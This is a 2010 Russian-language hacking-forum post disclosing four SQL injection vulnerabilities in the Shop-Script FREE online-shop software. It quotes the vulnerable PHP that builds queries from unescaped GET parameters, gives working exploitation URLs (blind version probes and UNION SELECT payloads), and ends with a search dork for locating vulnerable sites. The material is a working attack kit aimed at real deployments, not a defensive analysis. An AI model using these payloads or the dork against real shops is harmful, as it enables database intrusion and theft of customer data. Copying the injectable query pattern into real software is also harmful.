Показать сообщение отдельно

  #3  
Старый 07.01.2010, 14:14
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Shop-Script FREE


Продукт: Shop-Script FREE
Оффсайт: http://shop-script.ru
Скачать: http://www.shop-script.ru/shop-script-free/ru/shop-script-free.zip

Blind SQL-Инъекция

Условия:
  1. magic_quotes = Off

Уязвимая часть кода:
Код:
/shop/includes/shopping_cart.php
PHP код:
            $q db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error() .  "<br>select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'");
            
$is db_fetch_row($q); $is $is[0];

            
//$_SESSION[gids] contains product IDs
            //$_SESSION[counts] contains product quantities ($_SESSION[counts][$i] corresponds to $_SESSION[gids][$i])
            //$_SESSION[gids][$i] == 0 means $i-element is 'empty'
            
if (!isset($_SESSION["gids"]))
            {
                
$_SESSION["gids"] = array();
                
$_SESSION["counts"] = array();
            }
            
//check for current item in the current shopping cart content
            
$i=0;
            while (
$i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["add2cart"]) $i++;
            if (
$i count($_SESSION["gids"])) //increase current product's quantity
            
{
                
$_SESSION["counts"][$i]++;
            }
            else 
//no item - add it to $gids array
            
{
                
$_SESSION["gids"][] = $_GET["add2cart"];
                
$_SESSION["counts"][] = 1;
            }

            
header("Location: index.php?shopping_cart=yes");

        }


        if (isset(
$_GET["remove"]) && $_GET["remove"] > 0//remove from cart product with productID == $remove
        
{
            
$i=0;
            while (
$i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["remove"]) $i++;
            if (
$i<count($_SESSION["gids"])) $_SESSION["gids"][$i] = 0;

            
header("Location: index.php?shopping_cart=yes");
        }


        if (isset(
$_POST["update"])) //update shopping cart content
        
{

            foreach (
$_POST as $key => $val)
                if (
strstr($key"count_"))
                {
                  
//select product's in stock level
                  
$q db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".str_replace("count_","",$key)."'") or die (db_error() );
                  
$is db_fetch_row($q); $is $is[0];

                    if (
$val 0)
                    {
                        for (
$i=0$i<count($_SESSION["gids"]); $i++)
                        {
                            if (
$_SESSION["gids"][$i] == str_replace("count_","",$key))
                            {
                                
$_SESSION["counts"][$i] = floor($val);
                            }
                        }
                    }
                    else 
//remove
                    
{
                        
$i=0;
                        while (
$_SESSION["gids"][$i] != str_replace("count_","",$key) && $i<count($_SESSION["gids"])) $i++;
                        
$_SESSION["gids"][$i] = 0;
                    }
                  } 
Эксплуатация:
Код:
http://site.ru/shop/index.php?shopping_cart=yes&add2cart=72'+and+substring(@@version,1,1)=5%23
SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/products.php
PHP код:
$q db_query("SELECT categoryID, name, description, customers_rating, Price, picture, in_stock, thumbnail, big_picture, brief_description, list_price, product_code FROM ".PRODUCTS_TABLE." WHERE productID='".$_GET."'") or die (db_error()); 
Эксплуатация:
Код:
http://site.ru/shop/products.php?productID=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12%23
Blind SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/shop/includes/admin/sub/catalog_products_categories.php
PHP код:
            $categoryID = isset($_GET["categoryID"]) ? $_GET["categoryID"] : $_POST["categoryID"];
            
$q db_query("SELECT name FROM ".CATEGORIES_TABLE." WHERE categoryID<>0 and categoryID='$categoryID'") or die (db_error());
            
$row db_fetch_row($q); 
Эксплуатация:
Код:
http://site.ru/shop/admin.php?dpt=catalog&sub=products_categories&categoryID=1'+and+substring(@@version,1,1)=5%23
SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/category.php
PHP код:
            $q db_query("SELECT name, description, picture FROM ".CATEGORIES_TABLE." WHERE categoryID='".$_GET."' and categoryID<>0") or die (db_error()); 
Эксплуатация:
Код:
http://localhost/bug/shop/category.php?c_id=-1'+union+select+1,2,3%23&w=23
Дорк:
Код:
"Powered by Shop-Script FREE"

Последний раз редактировалось mailbrush; 07.01.2010 в 15:13..
 
Ответить с цитированием